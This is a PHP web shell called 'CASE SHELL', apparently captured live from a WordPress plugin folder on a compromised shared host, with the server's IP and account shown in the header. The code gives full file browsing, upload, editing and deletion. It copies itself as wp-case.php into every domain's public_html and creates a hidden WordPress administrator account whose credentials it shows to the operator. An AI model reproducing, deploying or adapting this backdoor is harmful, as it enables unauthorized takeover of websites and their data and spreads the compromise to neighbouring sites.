| Server IP : 198.54.115.198 / Your IP : 216.73.216.142 Web Server : LiteSpeed System : Linux server192.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : seatpheu ( 1569) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/seatpheu/public_html/wp-content/plugins/dhnvbid/ |
Upload File : |
<?php
error_reporting(0);
// =============================================
// CORE INIT - SYNTHWAVE EDITION
// =============================================
define('SHELL_VERSION', '4.0');
define('CLONE_NAME', 'wp-case.php');
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$current_dir = realpath($current_dir);
if ($current_dir === false) {
$current_dir = getcwd();
}
$parent_dir = dirname($current_dir);
if ($parent_dir == $current_dir) {
$parent_dir = false;
}
// =============================================
// HELPER FUNCTIONS
// =============================================
function byte_format($bytes, $precision = 2) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes, 1024));
return round($bytes / pow(1024, $i), $precision) . ' ' . $units[$i];
}
function gen_password($length = 12) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%';
return substr(str_shuffle(str_repeat($chars, 3)), 0, $length);
}
function domain_scanner($path) {
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
$http_host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
if (!empty($doc_root) && strpos($path, $doc_root) === 0) {
$rel_path = substr($path, strlen($doc_root));
return $protocol . $http_host . $rel_path;
}
$search_path = $path;
while ($search_path != '/' && $search_path != '') {
if (file_exists($search_path . '/wp-config.php')) {
$wp_config = file_get_contents($search_path . '/wp-config.php');
if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $wp_config, $matches)) {
return $matches[1];
}
if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $wp_config, $matches)) {
return $matches[1];
}
}
$search_path = dirname($search_path);
}
return null;
}
// =============================================
// AUTO CLONE DEPLOYMENT (wp-case.php)
// =============================================
$deployed_cases = [];
if (isset($_GET['auto_case'])) {
$scan_root = $current_dir;
$cases_created = [];
if (basename($current_dir) !== 'domains') {
$temp = $current_dir;
while ($temp != '/' && $temp != '') {
if (basename($temp) === 'domains') {
$scan_root = $temp;
break;
}
$temp = dirname($temp);
}
}
if (is_dir($scan_root)) {
$items = scandir($scan_root);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$domain_folder = $scan_root . '/' . $item;
if (is_dir($domain_folder)) {
$public_html = $domain_folder . '/public_html';
if (is_dir($public_html)) {
$target_file = $public_html . '/' . CLONE_NAME;
if (copy(__FILE__, $target_file)) {
$protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://';
$detected_url = domain_scanner($public_html);
if ($detected_url) {
$full_url = rtrim($detected_url, '/') . '/' . CLONE_NAME;
} else {
$full_url = $protocol . $item . '/' . CLONE_NAME;
}
$cases_created[] = [
'domain' => $item,
'path' => $target_file,
'url' => $full_url
];
}
}
}
}
}
if (!empty($cases_created)) {
$deployed_cases = $cases_created;
$flash_message = "⚡ Deployed " . count($cases_created) . " instances of " . CLONE_NAME;
$flash_type = 'success';
} else {
$flash_message = "⚠️ No public_html directories found in domains path";
$flash_type = 'warning';
}
}
// =============================================
// REQUEST HANDLERS
// =============================================
$flash_message = '';
$flash_type = '';
// WordPress Admin Backdoor
if (isset($_GET['wp_case'])) {
$wp_path = $current_dir;
$wp_found = false;
while ($wp_path != '/' && $wp_path != '') {
if (file_exists($wp_path . '/wp-load.php')) {
$wp_found = true;
break;
}
$wp_path = dirname($wp_path);
}
if ($wp_found && file_exists($wp_path . '/wp-load.php')) {
require_once($wp_path . '/wp-load.php');
$new_user = 'case_' . substr(md5(rand()), 0, 6);
$new_pass = gen_password(14);
$new_email = $new_user . '@' . $_SERVER['HTTP_HOST'] . '.case';
if (function_exists('wp_create_user')) {
if (!username_exists($new_user) && !email_exists($new_email)) {
$user_id = wp_create_user($new_user, $new_pass, $new_email);
if (!is_wp_error($user_id)) {
$wp_user = new WP_User($user_id);
$wp_user->set_role('administrator');
$flash_message = "🎯 WP Case Created | User: $new_user | Pass: $new_pass | Login: " . get_site_url() . "/wp-admin";
$flash_type = 'success';
} else {
$flash_message = "❌ WP Error: " . $user_id->get_error_message();
$flash_type = 'error';
}
} else {
$flash_message = "⚠️ User already exists in database";
$flash_type = 'warning';
}
} else {
$flash_message = "❌ WordPress core not loaded";
$flash_type = 'error';
}
} else {
$flash_message = "❌ WordPress installation not found in path tree";
$flash_type = 'error';
}
}
// File Upload Handler
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload'])) {
if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$destination = $current_dir . '/' . basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) {
$flash_message = "📁 Uploaded: " . basename($_FILES['upload']['name']);
$flash_type = 'success';
} else {
$flash_message = "❌ Upload failed";
$flash_type = 'error';
}
}
}
// Directory Creation
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_folder'])) {
$folder_name = trim($_POST['folder_name']);
if (!empty($folder_name)) {
$safe_name = preg_replace('/[^a-zA-Z0-9_\-\.]/', '', $folder_name);
$new_folder = $current_dir . '/' . $safe_name;
if (!file_exists($new_folder)) {
if (mkdir($new_folder, 0755)) {
$flash_message = "📂 Created directory: $safe_name";
$flash_type = 'success';
} else {
$flash_message = "❌ Cannot create directory";
$flash_type = 'error';
}
} else {
$flash_message = "⚠️ Directory already exists";
$flash_type = 'warning';
}
}
}
// Delete Handler
if (isset($_GET['remove'])) {
$target = $current_dir . '/' . basename($_GET['remove']);
if (file_exists($target)) {
$success = is_dir($target) ? rmdir($target) : unlink($target);
if ($success) {
header("Location: ?dir=" . urlencode($current_dir));
exit;
}
}
}
// File Editor
if (isset($_GET['code'])) {
$edit_file = $current_dir . '/' . basename($_GET['code']);
if (file_exists($edit_file) && is_file($edit_file)) {
$file_data = file_get_contents($edit_file);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['code_content'])) {
if (file_put_contents($edit_file, $_POST['code_content']) !== false) {
$flash_message = "💾 Saved: " . basename($_GET['code']);
$flash_type = 'success';
$file_data = $_POST['code_content'];
}
}
}
}
// =============================================
// DIRECTORY SCANNER
// =============================================
$dir_list = [];
$file_list = [];
if (is_dir($current_dir) && is_readable($current_dir)) {
$scan_items = scandir($current_dir);
if ($scan_items !== false) {
foreach ($scan_items as $item) {
if ($item == '.' || $item == '..') continue;
$full_item = $current_dir . '/' . $item;
$item_info = [
'name' => $item,
'path' => $full_item,
'modified' => filemtime($full_item),
'perms' => substr(sprintf('%o', fileperms($full_item)), -3)
];
if (is_dir($full_item)) {
$dir_list[] = $item_info;
} else {
$item_info['size'] = filesize($full_item);
$item_info['ext'] = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$file_list[] = $item_info;
}
}
}
}
usort($dir_list, fn($a, $b) => strcmp($a['name'], $b['name']));
usort($file_list, fn($a, $b) => strcmp($a['name'], $b['name']));
// Breadcrumbs
$breadcrumb_trail = [];
$path_parts = explode('/', trim($current_dir, '/'));
$accumulated = '';
$breadcrumb_trail[] = ['label' => '🌀', 'path' => '/'];
foreach ($path_parts as $part) {
if (!empty($part)) {
$accumulated .= '/' . $part;
$breadcrumb_trail[] = ['label' => $part, 'path' => $accumulated];
}
}
$detected_domain = domain_scanner($current_dir);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>┌П┐ CASE SHELL :: v<?php echo SHELL_VERSION; ?></title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: linear-gradient(135deg, #0a0e1a 0%, #0c0f1f 100%);
font-family: 'Share Tech Mono', 'Fira Code', 'Courier New', monospace;
min-height: 100vh;
padding: 20px;
color: #b0e0ff;
}
/* Neon Grid Background */
body::before {
content: '';
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-image:
linear-gradient(#ff00cc10 1px, transparent 1px),
linear-gradient(90deg, #00ffcc10 1px, transparent 1px);
background-size: 40px 40px;
pointer-events: none;
z-index: -1;
}
.wrapper {
max-width: 1500px;
margin: 0 auto;
}
/* Glassmorphic Header */
.neo-header {
background: rgba(10, 14, 26, 0.85);
backdrop-filter: blur(12px);
border: 1px solid rgba(0, 255, 204, 0.3);
border-radius: 16px;
padding: 18px 24px;
margin-bottom: 20px;
display: flex;
justify-content: space-between;
align-items: center;
flex-wrap: wrap;
gap: 16px;
box-shadow: 0 0 20px rgba(0, 255, 204, 0.1);
}
.brand h1 {
font-size: 1.6rem;
font-weight: 400;
background: linear-gradient(135deg, #00ffcc, #ff00cc);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
letter-spacing: 2px;
}
.brand span {
font-size: 0.7rem;
color: #5a6e8a;
}
.domain-pill {
background: rgba(0, 255, 204, 0.15);
border: 1px solid #00ffcc;
border-radius: 40px;
padding: 5px 14px;
font-size: 0.8rem;
}
/* Buttons */
.neo-btn {
background: rgba(20, 25, 45, 0.8);
border: 1px solid #2a3a5a;
padding: 8px 18px;
border-radius: 8px;
color: #9acdff;
font-family: monospace;
font-size: 0.8rem;
cursor: pointer;
transition: all 0.2s;
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 8px;
}
.neo-btn:hover {
border-color: #00ffcc;
color: #00ffcc;
box-shadow: 0 0 8px rgba(0, 255, 204, 0.3);
transform: translateY(-1px);
}
.btn-neon {
background: linear-gradient(135deg, #00ccaa20, #ff00cc20);
border-color: #ff44cc;
}
.btn-case {
background: rgba(255, 68, 204, 0.15);
border-color: #ff44cc;
}
/* Breadcrumb */
.bread-neon {
background: rgba(12, 16, 26, 0.7);
backdrop-filter: blur(8px);
border: 1px solid #1a2a3a;
border-radius: 12px;
padding: 10px 18px;
margin-bottom: 20px;
display: flex;
flex-wrap: wrap;
gap: 6px;
}
.bread-item {
background: #0f1422;
padding: 4px 12px;
border-radius: 6px;
color: #6a8fbf;
text-decoration: none;
font-size: 0.85rem;
}
.bread-item:hover {
background: #00ffcc20;
color: #00ffcc;
}
/* Quick Nav */
.quick-rail {
background: rgba(8, 12, 22, 0.6);
border: 1px solid #1a2a3a;
border-radius: 40px;
padding: 10px 20px;
margin-bottom: 20px;
display: flex;
flex-wrap: wrap;
gap: 10px;
}
.rail-link {
padding: 5px 14px;
background: #0d1020;
border-radius: 30px;
color: #7a9fcf;
text-decoration: none;
font-size: 0.75rem;
}
.rail-link:hover {
background: #00ffcc20;
color: #00ffcc;
}
/* Controls */
.control-zone {
background: rgba(8, 12, 22, 0.7);
border: 1px solid #1a2a3a;
border-radius: 16px;
padding: 18px;
margin-bottom: 24px;
display: flex;
flex-wrap: wrap;
gap: 16px;
}
.ctrl-pack {
background: #0a0e1c;
border: 1px solid #1e2a3e;
border-radius: 12px;
padding: 6px 12px;
display: flex;
gap: 10px;
align-items: center;
}
.ctrl-pack input {
background: #0c1020;
border: 1px solid #2a3a5a;
padding: 7px 12px;
border-radius: 8px;
color: #c0e0ff;
font-family: monospace;
}
.ctrl-pack input:focus {
outline: none;
border-color: #ff44cc;
}
/* Message */
.flash-message {
padding: 12px 20px;
border-radius: 12px;
margin-bottom: 20px;
border-left: 4px solid;
animation: fadeSlide 0.3s ease;
}
@keyframes fadeSlide {
from { opacity: 0; transform: translateX(-20px); }
to { opacity: 1; transform: translateX(0); }
}
.flash-suc { background: #00ff6610; border-left-color: #00ff66; color: #aaffcc; }
.flash-err { background: #ff336610; border-left-color: #ff3366; color: #ffbbcc; }
.flash-warn { background: #ffaa3310; border-left-color: #ffaa33; color: #ffdd99; }
/* Layout */
.grid-layout {
display: grid;
grid-template-columns: 1fr 320px;
gap: 24px;
}
/* Section Titles */
.section-head {
font-size: 0.9rem;
font-weight: 600;
color: #00ffcc;
margin: 24px 0 14px 0;
padding-left: 10px;
border-left: 3px solid #ff44cc;
text-transform: uppercase;
letter-spacing: 1px;
}
/* Card Grid */
.card-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
gap: 14px;
}
.file-card {
background: rgba(12, 16, 26, 0.7);
border: 1px solid #1e2a3e;
border-radius: 14px;
padding: 14px;
transition: 0.2s;
}
.file-card:hover {
border-color: #00ffcc80;
background: rgba(16, 22, 36, 0.9);
transform: translateY(-2px);
}
.card-icon {
font-size: 2rem;
margin-bottom: 8px;
}
.card-name {
font-weight: 600;
word-break: break-word;
font-size: 0.85rem;
}
.card-meta {
font-size: 0.65rem;
color: #5a7a9a;
margin: 8px 0;
padding: 6px 0;
border-top: 1px dashed #1e2e46;
}
.action-strip {
display: flex;
gap: 8px;
margin-top: 8px;
}
.mini {
padding: 4px 10px;
font-size: 0.65rem;
background: #0a0e1c;
border: 1px solid #2a3a5a;
border-radius: 6px;
text-decoration: none;
color: #8ab0d0;
}
.mini:hover {
border-color: #ff44cc;
color: #ff88dd;
}
/* Sidebar Widgets */
.side-widget {
background: rgba(8, 12, 22, 0.7);
border: 1px solid #1a2a3a;
border-radius: 16px;
padding: 16px;
margin-bottom: 20px;
}
.widget-title {
color: #ff44cc;
font-size: 0.8rem;
border-bottom: 1px solid #2a3a5a;
padding-bottom: 8px;
margin-bottom: 12px;
display: flex;
align-items: center;
gap: 8px;
}
.info-line {
font-size: 0.7rem;
padding: 8px 0;
border-bottom: 1px solid #1a2436;
}
.info-line strong {
color: #b0e0ff;
display: block;
margin-bottom: 3px;
}
/* Editor Zone */
.code-zone {
background: rgba(6, 10, 18, 0.9);
border: 1px solid #2a3a5a;
border-radius: 16px;
overflow: hidden;
}
.code-header {
background: #0a0e1c;
padding: 12px 20px;
border-bottom: 1px solid #2a3a5a;
display: flex;
justify-content: space-between;
align-items: center;
}
.code-header h3 {
color: #00ffcc;
font-size: 0.85rem;
}
.code-zone textarea {
width: 100%;
min-height: 500px;
background: #04080f;
border: none;
color: #ccffdd;
font-family: 'Share Tech Mono', monospace;
font-size: 0.8rem;
padding: 20px;
resize: vertical;
}
.code-footer {
background: #0a0e1c;
padding: 12px 20px;
border-top: 1px solid #2a3a5a;
text-align: right;
}
/* Empty State */
.empty-state {
text-align: center;
padding: 60px 20px;
background: rgba(12, 16, 26, 0.5);
border-radius: 20px;
border: 1px dashed #2a3a5a;
}
/* Footer */
.footer-neon {
margin-top: 28px;
background: rgba(6, 10, 18, 0.7);
border: 1px solid #1a2a3a;
border-radius: 12px;
padding: 12px 20px;
display: flex;
justify-content: space-between;
font-size: 0.7rem;
color: #5a7a9a;
}
@media (max-width: 860px) {
.grid-layout { grid-template-columns: 1fr; }
.control-zone { flex-direction: column; }
}
</style>
</head>
<body>
<div class="wrapper">
<!-- Header -->
<div class="neo-header">
<div class="brand">
<h1>┌П┐ CASE SHELL <span>// tactical edition</span>
<?php if ($detected_domain): ?>
<span class="domain-pill">🎯 <?php echo htmlspecialchars(parse_url($detected_domain, PHP_URL_HOST) ?: $detected_domain); ?></span>
<?php endif; ?>
</h1>
</div>
<div style="display: flex; gap: 12px;">
<a href="?" class="neo-btn">⟳ DASH</a>
<a href="?auto_case=1&dir=<?php echo urlencode($current_dir); ?>" class="neo-btn btn-case">📦 DEPLOY CASES</a>
</div>
</div>
<!-- Breadcrumb -->
<div class="bread-neon">
<?php foreach ($breadcrumb_trail as $i => $crumb): ?>
<a href="?dir=<?php echo urlencode($crumb['path']); ?>" class="bread-item"><?php echo htmlspecialchars($crumb['label']); ?></a>
<?php if ($i < count($breadcrumb_trail)-1): ?><span style="color:#2a3a5a;">›</span><?php endif; ?>
<?php endforeach; ?>
</div>
<!-- Quick Rail -->
<div class="quick-rail">
<?php if ($parent_dir): ?>
<a href="?dir=<?php echo urlencode($parent_dir); ?>" class="rail-link">⬆ PARENT</a>
<?php endif; ?>
<a href="?dir=/" class="rail-link">🌐 ROOT</a>
<a href="?dir=/home" class="rail-link">🏠 HOME</a>
<a href="?dir=/var/www" class="rail-link">🌍 WWW</a>
<a href="?dir=/tmp" class="rail-link">📁 TMP</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&auto_case=1" class="rail-link" style="background:#ff44cc20;">⚡ AUTO CASE</a>
</div>
<!-- Controls -->
<div class="control-zone">
<div class="ctrl-pack">
<form method="post" enctype="multipart/form-data" style="display: flex; gap: 8px;">
<input type="file" name="upload">
<button type="submit" class="neo-btn">📤 UPLOAD</button>
</form>
</div>
<div class="ctrl-pack">
<form method="post" style="display: flex; gap: 8px;">
<input type="text" name="folder_name" placeholder="new_folder">
<button type="submit" name="create_folder" value="1" class="neo-btn">📁 MKDIR</button>
</form>
</div>
<div class="ctrl-pack">
<a href="?dir=<?php echo urlencode($current_dir); ?>&wp_case=1" class="neo-btn btn-case">🎭 WP CASE</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>" class="neo-btn">🔄 REFRESH</a>
</div>
</div>
<!-- Flash Message -->
<?php if ($flash_message): ?>
<div class="flash-message flash-<?php echo $flash_type === 'success' ? 'suc' : ($flash_type === 'error' ? 'err' : 'warn'); ?>">
<?php echo htmlspecialchars($flash_message); ?>
</div>
<?php endif; ?>
<!-- Deployed Cases Display -->
<?php if (!empty($deployed_cases)): ?>
<div class="side-widget" style="border-color: #ff44cc; margin-bottom: 20px;">
<div class="widget-title">🎯 DEPLOYED CASES (<?php echo CLONE_NAME; ?>)</div>
<?php foreach ($deployed_cases as $case): ?>
<div style="padding: 8px 0; border-bottom: 1px solid #1a2a3a; display: flex; gap: 8px; align-items: center;">
<span>📦</span>
<a href="<?php echo htmlspecialchars($case['url']); ?>" target="_blank" style="color: #00ffcc; text-decoration: none; font-size: 0.75rem; word-break: break-all;">
<?php echo htmlspecialchars($case['url']); ?>
</a>
<span style="color:#ff88dd; font-size:0.65rem;">[<?php echo htmlspecialchars($case['domain']); ?>]</span>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Main Grid -->
<div class="grid-layout">
<!-- Main Content -->
<div>
<?php if (isset($file_data)): ?>
<!-- Code Editor -->
<div class="code-zone">
<div class="code-header">
<h3>✏️ EDITING: <?php echo htmlspecialchars(basename($_GET['code'])); ?></h3>
<a href="?dir=<?php echo urlencode($current_dir); ?>" class="neo-btn">← BACK</a>
</div>
<form method="post">
<textarea name="code_content"><?php echo htmlspecialchars($file_data); ?></textarea>
<div class="code-footer">
<button type="submit" class="neo-btn btn-neon">💾 SAVE CHANGES</button>
</div>
</form>
</div>
<?php else: ?>
<!-- Directories -->
<?php if (!empty($dir_list)): ?>
<div class="section-head">📁 DIRECTORIES (<?php echo count($dir_list); ?>)</div>
<div class="card-grid">
<?php foreach ($dir_list as $dir): ?>
<div class="file-card">
<div class="card-icon">📂</div>
<div class="card-name"><?php echo htmlspecialchars($dir['name']); ?></div>
<div class="card-meta">📅 <?php echo date('m-d H:i', $dir['modified']); ?> | 🔒 <?php echo $dir['perms']; ?></div>
<div class="action-strip">
<a href="?dir=<?php echo urlencode($dir['path']); ?>" class="mini">OPEN</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&remove=<?php echo urlencode($dir['name']); ?>" class="mini" onclick="return confirm('Delete directory?')" style="border-color:#ff6688;">DELETE</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<!-- Files -->
<?php if (!empty($file_list)): ?>
<div class="section-head">📄 FILES (<?php echo count($file_list); ?>)</div>
<div class="card-grid">
<?php foreach ($file_list as $file):
$icon = '📄';
if ($file['ext'] === 'php') $icon = '🐘';
elseif (in_array($file['ext'], ['jpg','png','gif','webp'])) $icon = '🖼️';
elseif ($file['ext'] === 'zip') $icon = '🗜️';
elseif ($file['ext'] === 'sh') $icon = '⚙️';
?>
<div class="file-card">
<div class="card-icon"><?php echo $icon; ?></div>
<div class="card-name"><?php echo htmlspecialchars($file['name']); ?></div>
<div class="card-meta">💾 <?php echo byte_format($file['size']); ?> | 📅 <?php echo date('m-d H:i', $file['modified']); ?></div>
<div class="action-strip">
<a href="?dir=<?php echo urlencode($current_dir); ?>&code=<?php echo urlencode($file['name']); ?>" class="mini">EDIT</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&remove=<?php echo urlencode($file['name']); ?>" class="mini" onclick="return confirm('Delete file?')" style="border-color:#ff6688;">DELETE</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if (empty($dir_list) && empty($file_list)): ?>
<div class="empty-state">
<div style="font-size: 3rem;">📭</div>
<p>EMPTY DIRECTORY // NO FILES</p>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<!-- Sidebar -->
<div>
<div class="side-widget">
<div class="widget-title">💻 SYSTEM INFO</div>
<div class="info-line"><strong>CWD</strong><span style="word-break:break-all;"><?php echo htmlspecialchars($current_dir); ?></span></div>
<?php if ($detected_domain): ?>
<div class="info-line"><strong>DOMAIN</strong><a href="<?php echo htmlspecialchars($detected_domain); ?>" target="_blank" style="color:#00ffcc;"> <?php echo htmlspecialchars($detected_domain); ?></a></div>
<?php endif; ?>
<div class="info-line"><strong>CONTENTS</strong><?php echo count($dir_list); ?> folders, <?php echo count($file_list); ?> files</div>
<div class="info-line"><strong>DISK FREE</strong><?php echo byte_format(disk_free_space($current_dir)); ?></div>
<div class="info-line"><strong>PHP</strong><?php echo PHP_VERSION; ?></div>
<div class="info-line"><strong>SERVER</strong><?php echo $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?></div>
</div>
<div class="side-widget">
<div class="widget-title">⚡ QUICK ACTIONS</div>
<div style="display: flex; flex-direction: column; gap: 8px;">
<a href="?dir=<?php echo urlencode(dirname(__FILE__)); ?>" class="neo-btn" style="justify-content: center;">📍 SCRIPT LOCATION</a>
<a href="?dir=/var/www/html" class="neo-btn" style="justify-content: center;">🌐 WEB DOCROOT</a>
<a href="?dir=<?php echo urlencode($current_dir); ?>&auto_case=1" class="neo-btn btn-case" style="justify-content: center;">📦 DEPLOY <?php echo CLONE_NAME; ?></a>
</div>
</div>
<?php if (strpos($current_dir, 'domains') !== false || basename($current_dir) === 'domains'): ?>
<div class="side-widget">
<div class="widget-title">🌐 DOMAIN HUNTER</div>
<a href="?auto_case=1&dir=<?php echo urlencode($current_dir); ?>" class="neo-btn btn-case" style="width:100%; text-align: center; justify-content: center;">
🎯 DEPLOY TO ALL DOMAINS
</a>
</div>
<?php endif; ?>
</div>
</div>
<!-- Footer -->
<div class="footer-neon">
<span>📁 <?php echo htmlspecialchars($current_dir); ?></span>
<span>🌀 CASE SHELL v<?php echo SHELL_VERSION; ?> // active</span>
</div>
</div>
<script>
(function() {
// Auto dismiss messages
let msgDiv = document.querySelector('.flash-message');
if (msgDiv) {
setTimeout(() => {
msgDiv.style.opacity = '0';
setTimeout(() => msgDiv.remove(), 400);
}, 4500);
}
// Clipboard for clone URLs
document.querySelectorAll('.side-widget a[href*="http"]').forEach(el => {
if (el.innerText.includes('/')) {
el.addEventListener('click', (e) => {
e.preventDefault();
navigator.clipboard.writeText(el.href);
let old = el.innerText;
el.innerText = '✓ COPIED';
setTimeout(() => el.innerText = old, 1200);
});
}
});
// Ctrl+S save in editor
document.addEventListener('keydown', (e) => {
if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) {
e.preventDefault();
document.querySelector('.code-footer button')?.click();
}
if (e.key === 'Escape') {
let backBtn = document.querySelector('.code-header .neo-btn');
if (backBtn) window.location.href = backBtn.href;
}
});
})();
</script>
</body>
</html>